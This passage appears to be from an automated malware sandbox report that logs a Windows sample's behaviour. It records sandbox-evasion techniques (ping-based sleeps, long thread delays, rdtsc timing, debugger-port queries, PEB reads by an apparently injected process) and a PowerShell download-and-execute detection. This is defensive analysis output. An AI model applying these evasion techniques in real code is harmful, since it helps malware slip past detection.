Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Uses ping.exe to sleep

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping 127.0.0.1 -n 10
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping 127.0.0.1 -n 10			Jump to behavior

Source: C:\Windows\SysWOW64\appidtel.exe

Code function: 11_2_0347D1C0 rdtsc

11_2_0347D1C0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3397	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1685	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1479	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4298	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5501	Jump to behavior

Source: C:\Windows\SysWOW64\appidtel.exe

API coverage: 0.7 %

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7844	Thread sleep count: 3397 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7848	Thread sleep count: 1685 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7864	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7992	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8052	Thread sleep count: 4298 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8052	Thread sleep count: 5501 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8084	Thread sleep time: -16602069666338586s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\appidtel.exe TID: 6016	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\PING.EXE	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: powershell.exe, 00000008.00000002.1748145511.0000021AFE9E4000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Source: C:\Windows\SysWOW64\appidtel.exe

Process queried: DebugPort

Yara detected Powershell download and execute

Source: C:\Windows\SysWOW64\appidtel.exe

Code function: 11_2_0347D1C0 rdtsc

11_2_0347D1C0

Source: C:\Windows\SysWOW64\appidtel.exe

Code function: 11_2_004179B3 LdrLoadDll,

11_2_004179B3

Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03482349 mov eax, dword ptr fs:[00000030h]	11_2_03482349
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03482349 mov eax, dword ptr fs:[00000030h]	11_2_03482349
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03482349 mov eax, dword ptr fs:[00000030h]	11_2_03482349
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03482349 mov eax, dword ptr fs:[00000030h]	11_2_03482349
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03482349 mov eax, dword ptr fs:[00000030h]	11_2_03482349
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03482349 mov eax, dword ptr fs:[00000030h]	11_2_03482349
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03482349 mov eax, dword ptr fs:[00000030h]	11_2_03482349
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03482349 mov eax, dword ptr fs:[00000030h]	11_2_03482349
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03482349 mov eax, dword ptr fs:[00000030h]	11_2_03482349
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03482349 mov eax, dword ptr fs:[00000030h]	11_2_03482349
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03482349 mov eax, dword ptr fs:[00000030h]	11_2_03482349
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03482349 mov eax, dword ptr fs:[00000030h]	11_2_03482349
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03482349 mov eax, dword ptr fs:[00000030h]	11_2_03482349
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03482349 mov eax, dword ptr fs:[00000030h]	11_2_03482349
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03482349 mov eax, dword ptr fs:[00000030h]	11_2_03482349
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034D5341 mov eax, dword ptr fs:[00000030h]	11_2_034D5341
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_033F7330 mov eax, dword ptr fs:[00000030h]	11_2_033F7330
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0348035C mov eax, dword ptr fs:[00000030h]	11_2_0348035C
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0348035C mov eax, dword ptr fs:[00000030h]	11_2_0348035C
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0348035C mov eax, dword ptr fs:[00000030h]	11_2_0348035C
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0348035C mov ecx, dword ptr fs:[00000030h]	11_2_0348035C
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0348035C mov eax, dword ptr fs:[00000030h]	11_2_0348035C
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0348035C mov eax, dword ptr fs:[00000030h]	11_2_0348035C
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034CA352 mov eax, dword ptr fs:[00000030h]	11_2_034CA352
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034BF367 mov eax, dword ptr fs:[00000030h]	11_2_034BF367
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_033FC310 mov ecx, dword ptr fs:[00000030h]	11_2_033FC310
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03407370 mov eax, dword ptr fs:[00000030h]	11_2_03407370
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03407370 mov eax, dword ptr fs:[00000030h]	11_2_03407370
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03407370 mov eax, dword ptr fs:[00000030h]	11_2_03407370
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034A437C mov eax, dword ptr fs:[00000030h]	11_2_034A437C
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0348930B mov eax, dword ptr fs:[00000030h]	11_2_0348930B
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0348930B mov eax, dword ptr fs:[00000030h]	11_2_0348930B
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0348930B mov eax, dword ptr fs:[00000030h]	11_2_0348930B
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0343A30B mov eax, dword ptr fs:[00000030h]	11_2_0343A30B
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0343A30B mov eax, dword ptr fs:[00000030h]	11_2_0343A30B
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0343A30B mov eax, dword ptr fs:[00000030h]	11_2_0343A30B
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03420310 mov ecx, dword ptr fs:[00000030h]	11_2_03420310
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034C132D mov eax, dword ptr fs:[00000030h]	11_2_034C132D
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034C132D mov eax, dword ptr fs:[00000030h]	11_2_034C132D
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0342F32A mov eax, dword ptr fs:[00000030h]	11_2_0342F32A
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_033F9353 mov eax, dword ptr fs:[00000030h]	11_2_033F9353
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_033F9353 mov eax, dword ptr fs:[00000030h]	11_2_033F9353
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_033FD34C mov eax, dword ptr fs:[00000030h]	11_2_033FD34C
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_033FD34C mov eax, dword ptr fs:[00000030h]	11_2_033FD34C
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0340A3C0 mov eax, dword ptr fs:[00000030h]	11_2_0340A3C0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0340A3C0 mov eax, dword ptr fs:[00000030h]	11_2_0340A3C0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0340A3C0 mov eax, dword ptr fs:[00000030h]	11_2_0340A3C0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0340A3C0 mov eax, dword ptr fs:[00000030h]	11_2_0340A3C0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0340A3C0 mov eax, dword ptr fs:[00000030h]	11_2_0340A3C0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0340A3C0 mov eax, dword ptr fs:[00000030h]	11_2_0340A3C0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034083C0 mov eax, dword ptr fs:[00000030h]	11_2_034083C0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034083C0 mov eax, dword ptr fs:[00000030h]	11_2_034083C0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034083C0 mov eax, dword ptr fs:[00000030h]	11_2_034083C0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034083C0 mov eax, dword ptr fs:[00000030h]	11_2_034083C0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034BC3CD mov eax, dword ptr fs:[00000030h]	11_2_034BC3CD
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034BB3D0 mov ecx, dword ptr fs:[00000030h]	11_2_034BB3D0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_033F8397 mov eax, dword ptr fs:[00000030h]	11_2_033F8397
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_033F8397 mov eax, dword ptr fs:[00000030h]	11_2_033F8397
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_033F8397 mov eax, dword ptr fs:[00000030h]	11_2_033F8397
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034103E9 mov eax, dword ptr fs:[00000030h]	11_2_034103E9
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034103E9 mov eax, dword ptr fs:[00000030h]	11_2_034103E9
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034103E9 mov eax, dword ptr fs:[00000030h]	11_2_034103E9
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034103E9 mov eax, dword ptr fs:[00000030h]	11_2_034103E9
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034103E9 mov eax, dword ptr fs:[00000030h]	11_2_034103E9
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034103E9 mov eax, dword ptr fs:[00000030h]	11_2_034103E9
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034103E9 mov eax, dword ptr fs:[00000030h]	11_2_034103E9
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034103E9 mov eax, dword ptr fs:[00000030h]	11_2_034103E9
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034BF3E6 mov eax, dword ptr fs:[00000030h]	11_2_034BF3E6
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034D53FC mov eax, dword ptr fs:[00000030h]	11_2_034D53FC
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0341E3F0 mov eax, dword ptr fs:[00000030h]	11_2_0341E3F0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0341E3F0 mov eax, dword ptr fs:[00000030h]	11_2_0341E3F0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0341E3F0 mov eax, dword ptr fs:[00000030h]	11_2_0341E3F0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_033FE388 mov eax, dword ptr fs:[00000030h]	11_2_033FE388
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_033FE388 mov eax, dword ptr fs:[00000030h]	11_2_033FE388
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_033FE388 mov eax, dword ptr fs:[00000030h]	11_2_033FE388
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034363FF mov eax, dword ptr fs:[00000030h]	11_2_034363FF
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0342438F mov eax, dword ptr fs:[00000030h]	11_2_0342438F
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0342438F mov eax, dword ptr fs:[00000030h]	11_2_0342438F
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034D539D mov eax, dword ptr fs:[00000030h]	11_2_034D539D
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0345739A mov eax, dword ptr fs:[00000030h]	11_2_0345739A
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0345739A mov eax, dword ptr fs:[00000030h]	11_2_0345739A
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034333A0 mov eax, dword ptr fs:[00000030h]	11_2_034333A0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034333A0 mov eax, dword ptr fs:[00000030h]	11_2_034333A0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034233A5 mov eax, dword ptr fs:[00000030h]	11_2_034233A5
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_033F823B mov eax, dword ptr fs:[00000030h]	11_2_033F823B
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0343724D mov eax, dword ptr fs:[00000030h]	11_2_0343724D
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03406259 mov eax, dword ptr fs:[00000030h]	11_2_03406259
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034BB256 mov eax, dword ptr fs:[00000030h]	11_2_034BB256
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034BB256 mov eax, dword ptr fs:[00000030h]	11_2_034BB256
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03404260 mov eax, dword ptr fs:[00000030h]	11_2_03404260
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03404260 mov eax, dword ptr fs:[00000030h]	11_2_03404260
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03404260 mov eax, dword ptr fs:[00000030h]	11_2_03404260
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034CD26B mov eax, dword ptr fs:[00000030h]	11_2_034CD26B
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034CD26B mov eax, dword ptr fs:[00000030h]	11_2_034CD26B
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03441270 mov eax, dword ptr fs:[00000030h]	11_2_03441270
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03441270 mov eax, dword ptr fs:[00000030h]	11_2_03441270
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03429274 mov eax, dword ptr fs:[00000030h]	11_2_03429274
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034B0274 mov eax, dword ptr fs:[00000030h]	11_2_034B0274
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034B0274 mov eax, dword ptr fs:[00000030h]	11_2_034B0274
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034B0274 mov eax, dword ptr fs:[00000030h]	11_2_034B0274
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034B0274 mov eax, dword ptr fs:[00000030h]	11_2_034B0274
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034B0274 mov eax, dword ptr fs:[00000030h]	11_2_034B0274
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034B0274 mov eax, dword ptr fs:[00000030h]	11_2_034B0274
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034B0274 mov eax, dword ptr fs:[00000030h]	11_2_034B0274
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034B0274 mov eax, dword ptr fs:[00000030h]	11_2_034B0274
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034B0274 mov eax, dword ptr fs:[00000030h]	11_2_034B0274
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034B0274 mov eax, dword ptr fs:[00000030h]	11_2_034B0274
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034B0274 mov eax, dword ptr fs:[00000030h]	11_2_034B0274
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034B0274 mov eax, dword ptr fs:[00000030h]	11_2_034B0274
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03437208 mov eax, dword ptr fs:[00000030h]	11_2_03437208
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_03437208 mov eax, dword ptr fs:[00000030h]	11_2_03437208
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_033F826B mov eax, dword ptr fs:[00000030h]	11_2_033F826B
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_034D5227 mov eax, dword ptr fs:[00000030h]	11_2_034D5227
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_033FA250 mov eax, dword ptr fs:[00000030h]	11_2_033FA250
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_033F9240 mov eax, dword ptr fs:[00000030h]	11_2_033F9240
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_033F9240 mov eax, dword ptr fs:[00000030h]	11_2_033F9240
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0342B2C0 mov eax, dword ptr fs:[00000030h]	11_2_0342B2C0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0342B2C0 mov eax, dword ptr fs:[00000030h]	11_2_0342B2C0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0342B2C0 mov eax, dword ptr fs:[00000030h]	11_2_0342B2C0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 11_2_0342B2C0 mov eax, dword ptr fs:[00000030h]	11_2_0342B2C0
